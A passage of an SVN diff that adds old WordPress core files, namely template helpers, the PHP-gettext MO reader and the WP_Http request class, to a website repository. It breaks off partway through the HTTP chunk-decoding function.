+	// For backward compatibility
+	$handle = 0 === strpos( $file, 'css/' ) ? substr( $file, 4 ) : $file;
+
+	if ( $wp_styles->query( $handle ) ) {
+		if ( $force_echo || did_action( 'wp_print_styles' ) ) // we already printed the style queue.  Print this one immediately
+			wp_print_styles( $handle );
+		else // Add to style queue
+			wp_enqueue_style( $handle );
+		return;
+	}
+
+	echo apply_filters( 'wp_admin_css', "<link rel='stylesheet' href='" . esc_url( wp_admin_css_uri( $file ) ) . "' type='text/css' />\n", $file );
+	if ( 'rtl' == get_bloginfo( 'text_direction' ) )
+		echo apply_filters( 'wp_admin_css', "<link rel='stylesheet' href='" . esc_url( wp_admin_css_uri( "$file-rtl" ) ) . "' type='text/css' />\n", "$file-rtl" );
+}
+
+/**
+ * Enqueues the default ThickBox js and css.
+ *
+ * If any of the settings need to be changed, this can be done with another js
+ * file similar to media-upload.js and theme-preview.js. That file should
+ * require array('thickbox') to ensure it is loaded after.
+ *
+ * @since 2.5.0
+ */
+function add_thickbox() {
+	wp_enqueue_script( 'thickbox' );
+	wp_enqueue_style( 'thickbox' );
+}
+
+/**
+ * Display the XHTML generator that is generated on the wp_head hook.
+ *
+ * @since 2.5.0
+ */
+function wp_generator() {
+	the_generator( apply_filters( 'wp_generator_type', 'xhtml' ) );
+}
+
+/**
+ * Display the generator XML or Comment for RSS, ATOM, etc.
+ *
+ * Returns the correct generator type for the requested output format. Allows
+ * for a plugin to filter generators overall the the_generator filter.
+ *
+ * @since 2.5.0
+ * @uses apply_filters() Calls 'the_generator' hook.
+ *
+ * @param string $type The type of generator to output - (html|xhtml|atom|rss2|rdf|comment|export).
+ */
+function the_generator( $type ) {
+	echo apply_filters('the_generator', get_the_generator($type), $type) . "\n";
+}
+
+/**
+ * Creates the generator XML or Comment for RSS, ATOM, etc.
+ *
+ * Returns the correct generator type for the requested output format. Allows
+ * for a plugin to filter generators on an individual basis using the
+ * 'get_the_generator_{$type}' filter.
+ *
+ * @since 2.5.0
+ * @uses apply_filters() Calls 'get_the_generator_$type' hook.
+ *
+ * @param string $type The type of generator to return - (html|xhtml|atom|rss2|rdf|comment|export).
+ * @return string The HTML content for the generator.
+ */
+function get_the_generator( $type ) {
+	switch ($type) {
+		case 'html':
+			$gen = '<meta name="generator" content="WordPress ' . get_bloginfo( 'version' ) . '">';
+			break;
+		case 'xhtml':
+			$gen = '<meta name="generator" content="WordPress ' . get_bloginfo( 'version' ) . '" />';
+			break;
+		case 'atom':
+			$gen = '<generator uri="http://wordpress.org/" version="' . get_bloginfo_rss( 'version' ) . '">WordPress</generator>';
+			break;
+		case 'rss2':
+			$gen = '<generator>http://wordpress.org/?v=' . get_bloginfo_rss( 'version' ) . '</generator>';
+			break;
+		case 'rdf':
+			$gen = '<admin:generatorAgent rdf:resource="http://wordpress.org/?v=' . get_bloginfo_rss( 'version' ) . '" />';
+			break;
+		case 'comment':
+			$gen = '<!-- generator="WordPress/' . get_bloginfo( 'version' ) . '" -->';
+			break;
+		case 'export':
+			$gen = '<!-- generator="WordPress/' . get_bloginfo_rss('version') . '" created="'. date('Y-m-d H:i') . '"-->';
+			break;
+	}
+	return apply_filters( "get_the_generator_{$type}", $gen, $type );
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/gettext.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/gettext.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/gettext.php	(revision 44)
@@ -0,0 +1,400 @@
+<?php
+/**
+ * PHP-Gettext External Library: gettext_reader class
+ *
+ * @package External
+ * @subpackage PHP-gettext
+ *
+ * @internal
+	 Copyright (c) 2003 Danilo Segan <danilo@kvota.net>.
+	 Copyright (c) 2005 Nico Kaiser <nico@siriux.net>
+
+	 This file is part of PHP-gettext.
+
+	 PHP-gettext is free software; you can redistribute it and/or modify
+	 it under the terms of the GNU General Public License as published by
+	 the Free Software Foundation; either version 2 of the License, or
+	 (at your option) any later version.
+
+	 PHP-gettext is distributed in the hope that it will be useful,
+	 but WITHOUT ANY WARRANTY; without even the implied warranty of
+	 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	 GNU General Public License for more details.
+
+	 You should have received a copy of the GNU General Public License
+	 along with PHP-gettext; if not, write to the Free Software
+	 Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+
+*/
+
+/**
+ * Provides a simple gettext replacement that works independently from
+ * the system's gettext abilities.
+ * It can read MO files and use them for translating strings.
+ * The files are passed to gettext_reader as a Stream (see streams.php)
+ *
+ * This version has the ability to cache all strings and translations to
+ * speed up the string lookup.
+ * While the cache is enabled by default, it can be switched off with the
+ * second parameter in the constructor (e.g. whenusing very large MO files
+ * that you don't want to keep in memory)
+ */
+class gettext_reader {
+	//public:
+	 var $error = 0; // public variable that holds error code (0 if no error)
+
+	 //private:
+	var $BYTEORDER = 0;        // 0: low endian, 1: big endian
+	var $STREAM = NULL;
+	var $short_circuit = false;
+	var $enable_cache = false;
+	var $originals = NULL;      // offset of original table
+	var $translations = NULL;    // offset of translation table
+	var $pluralheader = NULL;    // cache header field for plural forms
+	var $select_string_function = NULL; // cache function, which chooses plural forms
+	var $total = 0;          // total string count
+	var $table_originals = NULL;  // table for original strings (offsets)
+	var $table_translations = NULL;  // table for translated strings (offsets)
+	var $cache_translations = NULL;  // original -> translation mapping
+
+
+	/* Methods */
+
+
+	/**
+	 * Reads a 32bit Integer from the Stream
+	 *
+	 * @access private
+	 * @return Integer from the Stream
+	 */
+	function readint() {
+		if ($this->BYTEORDER == 0) {
+			// low endian
+			$low_end = unpack('V', $this->STREAM->read(4));
+			return array_shift($low_end);
+		} else {
+			// big endian
+			$big_end = unpack('N', $this->STREAM->read(4));
+			return array_shift($big_end);
+		}
+	}
+
+	/**
+	 * Reads an array of Integers from the Stream
+	 *
+	 * @param int count How many elements should be read
+	 * @return Array of Integers
+	 */
+	function readintarray($count) {
+	if ($this->BYTEORDER == 0) {
+			// low endian
+			return unpack('V'.$count, $this->STREAM->read(4 * $count));
+		} else {
+			// big endian
+			return unpack('N'.$count, $this->STREAM->read(4 * $count));
+		}
+	}
+
+	/**
+	 * Constructor
+	 *
+	 * @param object Reader the StreamReader object
+	 * @param boolean enable_cache Enable or disable caching of strings (default on)
+	 */
+	function gettext_reader($Reader, $enable_cache = true) {
+		// If there isn't a StreamReader, turn on short circuit mode.
+		if (! $Reader || isset($Reader->error) ) {
+			$this->short_circuit = true;
+			return;
+		}
+
+		// Caching can be turned off
+		$this->enable_cache = $enable_cache;
+
+		// $MAGIC1 = (int)0x950412de; //bug in PHP 5.0.2, see https://savannah.nongnu.org/bugs/?func=detailitem&item_id=10565
+		$MAGIC1 = (int) - 1794895138;
+		// $MAGIC2 = (int)0xde120495; //bug
+		$MAGIC2 = (int) - 569244523;
+		// 64-bit fix
+		$MAGIC3 = (int) 2500072158;
+
+		$this->STREAM = $Reader;
+		$magic = $this->readint();
+		if ($magic == $MAGIC1 || $magic == $MAGIC3) { // to make sure it works for 64-bit platforms
+			$this->BYTEORDER = 0;
+		} elseif ($magic == ($MAGIC2 & 0xFFFFFFFF)) {
+			$this->BYTEORDER = 1;
+		} else {
+			$this->error = 1; // not MO file
+			return false;
+		}
+
+		// FIXME: Do we care about revision? We should.
+		$revision = $this->readint();
+
+		$this->total = $this->readint();
+		$this->originals = $this->readint();
+		$this->translations = $this->readint();
+	}
+
+	/**
+	 * Loads the translation tables from the MO file into the cache
+	 * If caching is enabled, also loads all strings into a cache
+	 * to speed up translation lookups
+	 *
+	 * @access private
+	 */
+	function load_tables() {
+		if (is_array($this->cache_translations) &&
+			is_array($this->table_originals) &&
+			is_array($this->table_translations))
+			return;
+
+		/* get original and translations tables */
+		$this->STREAM->seekto($this->originals);
+		$this->table_originals = $this->readintarray($this->total * 2);
+		$this->STREAM->seekto($this->translations);
+		$this->table_translations = $this->readintarray($this->total * 2);
+
+		if ($this->enable_cache) {
+			$this->cache_translations = array ();
+			/* read all strings in the cache */
+			for ($i = 0; $i < $this->total; $i++) {
+				$this->STREAM->seekto($this->table_originals[$i * 2 + 2]);
+				$original = $this->STREAM->read($this->table_originals[$i * 2 + 1]);
+				$this->STREAM->seekto($this->table_translations[$i * 2 + 2]);
+				$translation = $this->STREAM->read($this->table_translations[$i * 2 + 1]);
+				$this->cache_translations[$original] = $translation;
+			}
+		}
+	}
+
+	/**
+	 * Returns a string from the "originals" table
+	 *
+	 * @access private
+	 * @param int num Offset number of original string
+	 * @return string Requested string if found, otherwise ''
+	 */
+	function get_original_string($num) {
+		$length = $this->table_originals[$num * 2 + 1];
+		$offset = $this->table_originals[$num * 2 + 2];
+		if (! $length)
+			return '';
+		$this->STREAM->seekto($offset);
+		$data = $this->STREAM->read($length);
+		return (string)$data;
+	}
+
+	/**
+	 * Returns a string from the "translations" table
+	 *
+	 * @access private
+	 * @param int num Offset number of original string
+	 * @return string Requested string if found, otherwise ''
+	 */
+	function get_translation_string($num) {
+		$length = $this->table_translations[$num * 2 + 1];
+		$offset = $this->table_translations[$num * 2 + 2];
+		if (! $length)
+			return '';
+		$this->STREAM->seekto($offset);
+		$data = $this->STREAM->read($length);
+		return (string)$data;
+	}
+
+	/**
+	 * Binary search for string
+	 *
+	 * @access private
+	 * @param string string
+	 * @param int start (internally used in recursive function)
+	 * @param int end (internally used in recursive function)
+	 * @return int string number (offset in originals table)
+	 */
+	function find_string($string, $start = -1, $end = -1) {
+		if (($start == -1) or ($end == -1)) {
+			// find_string is called with only one parameter, set start end end
+			$start = 0;
+			$end = $this->total;
+		}
+		if (abs($start - $end) <= 1) {
+			// We're done, now we either found the string, or it doesn't exist
+			$txt = $this->get_original_string($start);
+			if ($string == $txt)
+				return $start;
+			else
+				return -1;
+		} else if ($start > $end) {
+			// start > end -> turn around and start over
+			return $this->find_string($string, $end, $start);
+		} else {
+			// Divide table in two parts
+			$half = (int)(($start + $end) / 2);
+			$cmp = strcmp($string, $this->get_original_string($half));
+			if ($cmp == 0)
+				// string is exactly in the middle => return it
+				return $half;
+			else if ($cmp < 0)
+				// The string is in the upper half
+				return $this->find_string($string, $start, $half);
+			else
+				// The string is in the lower half
+				return $this->find_string($string, $half, $end);
+		}
+	}
+
+	/**
+	 * Translates a string
+	 *
+	 * @access public
+	 * @param string string to be translated
+	 * @return string translated string (or original, if not found)
+	 */
+	function translate($string) {
+		if ($this->short_circuit)
+			return $string;
+		$this->load_tables();
+
+		if ($this->enable_cache) {
+			// Caching enabled, get translated string from cache
+			if (array_key_exists($string, $this->cache_translations))
+				return $this->cache_translations[$string];
+			else
+				return $string;
+		} else {
+			// Caching not enabled, try to find string
+			$num = $this->find_string($string);
+			if ($num == -1)
+				return $string;
+			else
+				return $this->get_translation_string($num);
+		}
+	}
+
+	/**
+	 * Get possible plural forms from MO header
+	 *
+	 * @access private
+	 * @return string plural form header
+	 */
+	function get_plural_forms() {
+		// lets assume message number 0 is header
+		// this is true, right?
+		$this->load_tables();
+
+		// cache header field for plural forms
+		if (! is_string($this->pluralheader)) {
+			if ($this->enable_cache) {
+				$header = $this->cache_translations[""];
+			} else {
+				$header = $this->get_translation_string(0);
+			}
+			$header .= "\n"; //make sure our regex matches
+			if (eregi("plural-forms: ([^\n]*)\n", $header, $regs))
+				$expr = $regs[1];
+			else
+				$expr = "nplurals=2; plural=n == 1 ? 0 : 1;";
+
+			// add parentheses
+ 			// important since PHP's ternary evaluates from left to right
+ 			$expr.= ';';
+ 			$res= '';
+ 			$p= 0;
+ 			for ($i= 0; $i < strlen($expr); $i++) {
+				$ch= $expr[$i];
+				switch ($ch) {
+					case '?':
+						$res.= ' ? (';
+						$p++;
+						break;
+					case ':':
+						$res.= ') : (';
+						break;
+					case ';':
+						$res.= str_repeat( ')', $p) . ';';
+						$p= 0;
+						break;
+					default:
+						$res.= $ch;
+				}
+			}
+			$this->pluralheader = $res;
+		}
+
+		return $this->pluralheader;
+	}
+
+	/**
+	 * Detects which plural form to take
+	 *
+	 * @access private
+	 * @param n count
+	 * @return int array index of the right plural form
+	 */
+	function select_string($n) {
+		if (is_null($this->select_string_function)) {
+			$string = $this->get_plural_forms();
+			if (preg_match("/nplurals\s*=\s*(\d+)\s*\;\s*plural\s*=\s*(.*?)\;+/", $string, $matches)) {
+				$nplurals = $matches[1];
+				$expression = $matches[2];
+				$expression = str_replace("n", '$n', $expression);
+			} else {
+				$nplurals = 2;
+				$expression = ' $n == 1 ? 0 : 1 ';
+			}
+			$func_body = "
+				\$plural = ($expression);
+				return (\$plural <= $nplurals)? \$plural : \$plural - 1;";
+			$this->select_string_function = create_function('$n', $func_body);
+		}
+		return call_user_func($this->select_string_function, $n);
+	}
+
+	/**
+	 * Plural version of gettext
+	 *
+	 * @access public
+	 * @param string single
+	 * @param string plural
+	 * @param string number
+	 * @return translated plural form
+	 */
+	function ngettext($single, $plural, $number) {
+		if ($this->short_circuit) {
+			if ($number != 1)
+				return $plural;
+			else
+				return $single;
+		}
+
+		// find out the appropriate form
+		$select = $this->select_string($number);
+
+		// this should contains all strings separated by NULLs
+		$key = $single.chr(0).$plural;
+
+
+		if ($this->enable_cache) {
+			if (! array_key_exists($key, $this->cache_translations)) {
+				return ($number != 1) ? $plural : $single;
+			} else {
+				$result = $this->cache_translations[$key];
+				$list = explode(chr(0), $result);
+				return $list[$select];
+			}
+		} else {
+			$num = $this->find_string($key);
+			if ($num == -1) {
+				return ($number != 1) ? $plural : $single;
+			} else {
+				$result = $this->get_translation_string($num);
+				$list = explode(chr(0), $result);
+				return $list[$select];
+			}
+		}
+	}
+
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/http.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/http.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/http.php	(revision 44)
@@ -0,0 +1,2054 @@
+<?php
+/**
+ * Simple and uniform HTTP request API.
+ *
+ * Will eventually replace and standardize the WordPress HTTP requests made.
+ *
+ * @link http://trac.wordpress.org/ticket/4779 HTTP API Proposal
+ *
+ * @package WordPress
+ * @subpackage HTTP
+ * @since 2.7.0
+ * @author Jacob Santos <wordpress@santosj.name>
+ */
+
+/**
+ * WordPress HTTP Class for managing HTTP Transports and making HTTP requests.
+ *
+ * This class is called for the functionality of making HTTP requests and should replace Snoopy
+ * functionality, eventually. There is no available functionality to add HTTP transport
+ * implementations, since most of the HTTP transports are added and available for use.
+ *
+ * The exception is that cURL is not available as a transport and lacking an implementation. It will
+ * be added later and should be a patch on the WordPress Trac.
+ *
+ * There are no properties, because none are needed and for performance reasons. Some of the
+ * functions are static and while they do have some overhead over functions in PHP4, the purpose is
+ * maintainability. When PHP5 is finally the requirement, it will be easy to add the static keyword
+ * to the code. It is not as easy to convert a function to a method after enough code uses the old
+ * way.
+ *
+ * Debugging includes several actions, which pass different variables for debugging the HTTP API.
+ *
+ * <strong>http_transport_get_debug</strong> - gives working, nonblocking, and blocking transports.
+ *
+ * <strong>http_transport_post_debug</strong> - gives working, nonblocking, and blocking transports.
+ *
+ * @package WordPress
+ * @subpackage HTTP
+ * @since 2.7.0
+ */
+class WP_Http {
+
+	/**
+	 * PHP4 style Constructor - Calls PHP5 Style Constructor
+	 *
+	 * @since 2.7.0
+	 * @return WP_Http
+	 */
+	function WP_Http() {
+		$this->__construct();
+	}
+
+	/**
+	 * PHP5 style Constructor - Setup available transport if not available.
+	 *
+	 * PHP4 does not have the 'self' keyword and since WordPress supports PHP4,
+	 * the class needs to be used for the static call.
+	 *
+	 * The transport are setup to save time. This should only be called once, so
+	 * the overhead should be fine.
+	 *
+	 * @since 2.7.0
+	 * @return WP_Http
+	 */
+	function __construct() {
+		WP_Http::_getTransport();
+		WP_Http::_postTransport();
+	}
+
+	/**
+	 * Tests the WordPress HTTP objects for an object to use and returns it.
+	 *
+	 * Tests all of the objects and returns the object that passes. Also caches
+	 * that object to be used later.
+	 *
+	 * The order for the GET/HEAD requests are Streams, HTTP Extension, Fopen,
+	 * and finally Fsockopen. fsockopen() is used last, because it has the most
+	 * overhead in its implementation. There isn't any real way around it, since
+	 * redirects have to be supported, much the same way the other transports
+	 * also handle redirects.
+	 *
+	 * There are currently issues with "localhost" not resolving correctly with
+	 * DNS. This may cause an error "failed to open stream: A connection attempt
+	 * failed because the connected party did not properly respond after a
+	 * period of time, or established connection failed because connected host
+	 * has failed to respond."
+	 *
+	 * @since 2.7.0
+	 * @access private
+	 *
+	 * @param array $args Request args, default us an empty array
+	 * @return object|null Null if no transports are available, HTTP transport object.
+	 */
+	function &_getTransport( $args = array() ) {
+		static $working_transport, $blocking_transport, $nonblocking_transport;
+
+		if ( is_null($working_transport) ) {
+			if ( true === WP_Http_ExtHttp::test($args) ) {
+				$working_transport['exthttp'] = new WP_Http_ExtHttp();
+				$blocking_transport[] = &$working_transport['exthttp'];
+			} else if ( true === WP_Http_Curl::test($args) ) {
+				$working_transport['curl'] = new WP_Http_Curl();
+				$blocking_transport[] = &$working_transport['curl'];
+			} else if ( true === WP_Http_Streams::test($args) ) {
+				$working_transport['streams'] = new WP_Http_Streams();
+				$blocking_transport[] = &$working_transport['streams'];
+			} else if ( true === WP_Http_Fopen::test($args) ) {
+				$working_transport['fopen'] = new WP_Http_Fopen();
+				$blocking_transport[] = &$working_transport['fopen'];
+			} else if ( true === WP_Http_Fsockopen::test($args) ) {
+				$working_transport['fsockopen'] = new WP_Http_Fsockopen();
+				$blocking_transport[] = &$working_transport['fsockopen'];
+			}
+
+			foreach ( array('curl', 'streams', 'fopen', 'fsockopen', 'exthttp') as $transport ) {
+				if ( isset($working_transport[$transport]) )
+					$nonblocking_transport[] = &$working_transport[$transport];
+			}
+		}
+
+		if ( has_filter('http_transport_get_debug') )
+			do_action('http_transport_get_debug', $working_transport, $blocking_transport, $nonblocking_transport);
+
+		if ( isset($args['blocking']) && !$args['blocking'] )
+			return $nonblocking_transport;
+		else
+			return $blocking_transport;
+	}
+
+	/**
+	 * Tests the WordPress HTTP objects for an object to use and returns it.
+	 *
+	 * Tests all of the objects and returns the object that passes. Also caches
+	 * that object to be used later. This is for posting content to a URL and
+	 * is used when there is a body. The plain Fopen Transport can not be used
+	 * to send content, but the streams transport can. This is a limitation that
+	 * is addressed here, by just not including that transport.
+	 *
+	 * @since 2.7.0
+	 * @access private
+	 *
+	 * @param array $args Request args, default us an empty array
+	 * @return object|null Null if no transports are available, HTTP transport object.
+	 */
+	function &_postTransport( $args = array() ) {
+		static $working_transport, $blocking_transport, $nonblocking_transport;
+
+		if ( is_null($working_transport) ) {
+			if ( true === WP_Http_ExtHttp::test($args) ) {
+				$working_transport['exthttp'] = new WP_Http_ExtHttp();
+				$blocking_transport[] = &$working_transport['exthttp'];
+			} else if ( true === WP_Http_Curl::test($args) ) {
+				$working_transport['curl'] = new WP_Http_Curl();
+				$blocking_transport[] = &$working_transport['curl'];
+			} else if ( true === WP_Http_Streams::test($args) ) {
+				$working_transport['streams'] = new WP_Http_Streams();
+				$blocking_transport[] = &$working_transport['streams'];
+			} else if ( true === WP_Http_Fsockopen::test($args) ) {
+				$working_transport['fsockopen'] = new WP_Http_Fsockopen();
+				$blocking_transport[] = &$working_transport['fsockopen'];
+			}
+
+			foreach ( array('curl', 'streams', 'fsockopen', 'exthttp') as $transport ) {
+				if ( isset($working_transport[$transport]) )
+					$nonblocking_transport[] = &$working_transport[$transport];
+			}
+		}
+
+		if ( has_filter('http_transport_post_debug') )
+			do_action('http_transport_post_debug', $working_transport, $blocking_transport, $nonblocking_transport);
+
+		if ( isset($args['blocking']) && !$args['blocking'] )
+			return $nonblocking_transport;
+		else
+			return $blocking_transport;
+	}
+
+	/**
+	 * Send a HTTP request to a URI.
+	 *
+	 * The body and headers are part of the arguments. The 'body' argument is for the body and will
+	 * accept either a string or an array. The 'headers' argument should be an array, but a string
+	 * is acceptable. If the 'body' argument is an array, then it will automatically be escaped
+	 * using http_build_query().
+	 *
+	 * The only URI that are supported in the HTTP Transport implementation are the HTTP and HTTPS
+	 * protocols. HTTP and HTTPS are assumed so the server might not know how to handle the send
+	 * headers. Other protocols are unsupported and most likely will fail.
+	 *
+	 * The defaults are 'method', 'timeout', 'redirection', 'httpversion', 'blocking' and
+	 * 'user-agent'.
+	 *
+	 * Accepted 'method' values are 'GET', 'POST', and 'HEAD', some transports technically allow
+	 * others, but should not be assumed. The 'timeout' is used to sent how long the connection
+	 * should stay open before failing when no response. 'redirection' is used to track how many
+	 * redirects were taken and used to sent the amount for other transports, but not all transports
+	 * accept setting that value.
+	 *
+	 * The 'httpversion' option is used to sent the HTTP version and accepted values are '1.0', and
+	 * '1.1' and should be a string. Version 1.1 is not supported, because of chunk response. The
+	 * 'user-agent' option is the user-agent and is used to replace the default user-agent, which is
+	 * 'WordPress/WP_Version', where WP_Version is the value from $wp_version.
+	 *
+	 * 'blocking' is the default, which is used to tell the transport, whether it should halt PHP
+	 * while it performs the request or continue regardless. Actually, that isn't entirely correct.
+	 * Blocking mode really just means whether the fread should just pull what it can whenever it
+	 * gets bytes or if it should wait until it has enough in the buffer to read or finishes reading
+	 * the entire content. It doesn't actually always mean that PHP will continue going after making
+	 * the request.
+	 *
+	 * @access public
+	 * @since 2.7.0
+	 *
+	 * @param string $url URI resource.
+	 * @param str|array $args Optional. Override the defaults.
+	 * @return array containing 'headers', 'body', 'response', 'cookies'
+	 */
+	function request( $url, $args = array() ) {
+		global $wp_version;
+
+		$defaults = array(
+			'method' => 'GET',
+			'timeout' => apply_filters( 'http_request_timeout', 5),
+			'redirection' => apply_filters( 'http_request_redirection_count', 5),
+			'httpversion' => apply_filters( 'http_request_version', '1.0'),
+			'user-agent' => apply_filters( 'http_headers_useragent', 'WordPress/' . $wp_version . '; ' . get_bloginfo( 'url' )  ),
+			'blocking' => true,
+			'headers' => array(),
+			'cookies' => array(),
+			'body' => null,
+			'compress' => false,
+			'decompress' => true,
+			'sslverify' => true
+		);
+
+		$r = wp_parse_args( $args, $defaults );
+		$r = apply_filters( 'http_request_args', $r, $url );
+
+		$arrURL = parse_url($url);
+
+		if ( $this->block_request( $url ) )
+			return new WP_Error('http_request_failed', __('User has blocked requests through HTTP.'));
+
+		// Determine if this is a https call and pass that on to the transport functions
+		// so that we can blacklist the transports that do not support ssl verification
+		$r['ssl'] = $arrURL['scheme'] == 'https' || $arrURL['scheme'] == 'ssl';
+
+		// Determine if this request is to OUR install of WordPress
+		$homeURL = parse_url(get_bloginfo('url'));
+		$r['local'] = $homeURL['host'] == $arrURL['host'] || 'localhost' == $arrURL['host'];
+		unset($homeURL);
+
+		if ( is_null( $r['headers'] ) )
+			$r['headers'] = array();
+
+		if ( ! is_array($r['headers']) ) {
+			$processedHeaders = WP_Http::processHeaders($r['headers']);
+			$r['headers'] = $processedHeaders['headers'];
+		}
+
+		if ( isset($r['headers']['User-Agent']) ) {
+			$r['user-agent'] = $r['headers']['User-Agent'];
+			unset($r['headers']['User-Agent']);
+		}
+
+		if ( isset($r['headers']['user-agent']) ) {
+			$r['user-agent'] = $r['headers']['user-agent'];
+			unset($r['headers']['user-agent']);
+		}
+
+		// Construct Cookie: header if any cookies are set
+		WP_Http::buildCookieHeader( $r );
+
+		if ( WP_Http_Encoding::is_available() )
+			$r['headers']['Accept-Encoding'] = WP_Http_Encoding::accept_encoding();
+
+		if ( is_null($r['body']) ) {
+			// Some servers fail when sending content without the content-length
+			// header being set.
+			$r['headers']['Content-Length'] = 0;
+			$transports = WP_Http::_getTransport($r);
+		} else {
+			if ( is_array( $r['body'] ) || is_object( $r['body'] ) ) {
+				if ( ! version_compare(phpversion(), '5.1.2', '>=') )
+					$r['body'] = _http_build_query($r['body'], null, '&');
+				else
+					$r['body'] = http_build_query($r['body'], null, '&');
+				$r['headers']['Content-Type'] = 'application/x-www-form-urlencoded; charset=' . get_option('blog_charset');
+				$r['headers']['Content-Length'] = strlen($r['body']);
+			}
+
+			if ( ! isset( $r['headers']['Content-Length'] ) && ! isset( $r['headers']['content-length'] ) )
+				$r['headers']['Content-Length'] = strlen($r['body']);
+
+			$transports = WP_Http::_postTransport($r);
+		}
+
+		if ( has_action('http_api_debug') )
+			do_action('http_api_debug', $transports, 'transports_list');
+
+		$response = array( 'headers' => array(), 'body' => '', 'response' => array('code' => false, 'message' => false), 'cookies' => array() );
+		foreach ( (array) $transports as $transport ) {
+			$response = $transport->request($url, $r);
+
+			if ( has_action('http_api_debug') )
+				do_action( 'http_api_debug', $response, 'response', get_class($transport) );
+
+			if ( ! is_wp_error($response) )
+				return $response;
+		}
+
+		return $response;
+	}
+
+	/**
+	 * Uses the POST HTTP method.
+	 *
+	 * Used for sending data that is expected to be in the body.
+	 *
+	 * @access public
+	 * @since 2.7.0
+	 *
+	 * @param string $url URI resource.
+	 * @param str|array $args Optional. Override the defaults.
+	 * @return boolean
+	 */
+	function post($url, $args = array()) {
+		$defaults = array('method' => 'POST');
+		$r = wp_parse_args( $args, $defaults );
+		return $this->request($url, $r);
+	}
+
+	/**
+	 * Uses the GET HTTP method.
+	 *
+	 * Used for sending data that is expected to be in the body.
+	 *
+	 * @access public
+	 * @since 2.7.0
+	 *
+	 * @param string $url URI resource.
+	 * @param str|array $args Optional. Override the defaults.
+	 * @return boolean
+	 */
+	function get($url, $args = array()) {
+		$defaults = array('method' => 'GET');
+		$r = wp_parse_args( $args, $defaults );
+		return $this->request($url, $r);
+	}
+
+	/**
+	 * Uses the HEAD HTTP method.
+	 *
+	 * Used for sending data that is expected to be in the body.
+	 *
+	 * @access public
+	 * @since 2.7.0
+	 *
+	 * @param string $url URI resource.
+	 * @param str|array $args Optional. Override the defaults.
+	 * @return boolean
+	 */
+	function head($url, $args = array()) {
+		$defaults = array('method' => 'HEAD');
+		$r = wp_parse_args( $args, $defaults );
+		return $this->request($url, $r);
+	}
+
+	/**
+	 * Parses the responses and splits the parts into headers and body.
+	 *
+	 * @access public
+	 * @static
+	 * @since 2.7.0
+	 *
+	 * @param string $strResponse The full response string
+	 * @return array Array with 'headers' and 'body' keys.
+	 */
+	function processResponse($strResponse) {
+		list($theHeaders, $theBody) = explode("\r\n\r\n", $strResponse, 2);
+		return array('headers' => $theHeaders, 'body' => $theBody);
+	}
+
+	/**
+	 * Transform header string into an array.
+	 *
+	 * If an array is given then it is assumed to be raw header data with numeric keys with the
+	 * headers as the values. No headers must be passed that were already processed.
+	 *
+	 * @access public
+	 * @static
+	 * @since 2.7.0
+	 *
+	 * @param string|array $headers
+	 * @return array Processed string headers. If duplicate headers are encountered,
+	 * 					Then a numbered array is returned as the value of that header-key.
+	 */
+	function processHeaders($headers) {
+		// split headers, one per array element
+		if ( is_string($headers) ) {
+			// tolerate line terminator: CRLF = LF (RFC 2616 19.3)
+			$headers = str_replace("\r\n", "\n", $headers);
+			// unfold folded header fields. LWS = [CRLF] 1*( SP | HT ) <US-ASCII SP, space (32)>, <US-ASCII HT, horizontal-tab (9)> (RFC 2616 2.2)
+			$headers = preg_replace('/\n[ \t]/', ' ', $headers);
+			// create the headers array
+			$headers = explode("\n", $headers);
+		}
+
+		$response = array('code' => 0, 'message' => '');
+
+		$cookies = array();
+		$newheaders = array();
+		foreach ( $headers as $tempheader ) {
+			if ( empty($tempheader) )
+				continue;
+
+			if ( false === strpos($tempheader, ':') ) {
+				list( , $iResponseCode, $strResponseMsg) = explode(' ', $tempheader, 3);
+				$response['code'] = $iResponseCode;
+				$response['message'] = $strResponseMsg;
+				continue;
+			}
+
+			list($key, $value) = explode(':', $tempheader, 2);
+
+			if ( !empty( $value ) ) {
+				$key = strtolower( $key );
+				if ( isset( $newheaders[$key] ) ) {
+					$newheaders[$key] = array( $newheaders[$key], trim( $value ) );
+				} else {
+					$newheaders[$key] = trim( $value );
+				}
+				if ( 'set-cookie' == strtolower( $key ) )
+					$cookies[] = new WP_Http_Cookie( $value );
+			}
+		}
+
+		return array('response' => $response, 'headers' => $newheaders, 'cookies' => $cookies);
+	}
+
+	/**
+	 * Takes the arguments for a ::request() and checks for the cookie array.
+	 *
+	 * If it's found, then it's assumed to contain WP_Http_Cookie objects, which are each parsed
+	 * into strings and added to the Cookie: header (within the arguments array). Edits the array by
+	 * reference.
+	 *
+	 * @access public
+	 * @version 2.8.0
+	 * @static
+	 *
+	 * @param array $r Full array of args passed into ::request()
+	 */
+	function buildCookieHeader( &$r ) {
+		if ( ! empty($r['cookies']) ) {
+			$cookies_header = '';
+			foreach ( (array) $r['cookies'] as $cookie ) {
+				$cookies_header .= $cookie->getHeaderValue() . '; ';
+			}
+			$cookies_header = substr( $cookies_header, 0, -2 );
+			$r['headers']['cookie'] = $cookies_header;
+		}
+	}
+
+	/**
+	 * Decodes chunk transfer-encoding, based off the HTTP 1.1 specification.
+	 *
+	 * Based off the HTTP http_encoding_dechunk function. Does not support UTF-8. Does not support
+	 * returning footer headers. Shouldn't be too difficult to support it though.
+	 *
+	 * @todo Add support for footer chunked headers.
+	 * @access public
+	 * @since 2.7.0
+	 * @static
+	 *
+	 * @param string $body Body content
+	 * @return string Chunked decoded body on success or raw body on failure.
+	 */
+	function chunkTransferDecode($body) {
+		$body = str_replace(array("\r\n", "\r"), "\n", $body);
+		// The body is not chunked encoding or is malformed.
+		if ( ! preg_match( '/^[0-9a-f]+(\s|\n)+/mi', trim($body) ) )
+			return $body;
+
+		$parsedBody = '';
+		//$parsedHeaders = array(); Unsupported
+
+		while ( true ) {
+			$hasChunk = (bool) preg_match( '/^([0-9a-f]+)(\s|\n)+/mi', $body, $match );
+
+			if ( $hasChunk ) {
+				if ( empty( $match[1] ) )
+					return $body;
+
+				$length = hexdec( $match[1] );
+				$chunkLength = strlen( $match[0] );
+
+				$strBody = substr($body, $chunkLength, $length);
+				$parsedBody .= $strBody;
+
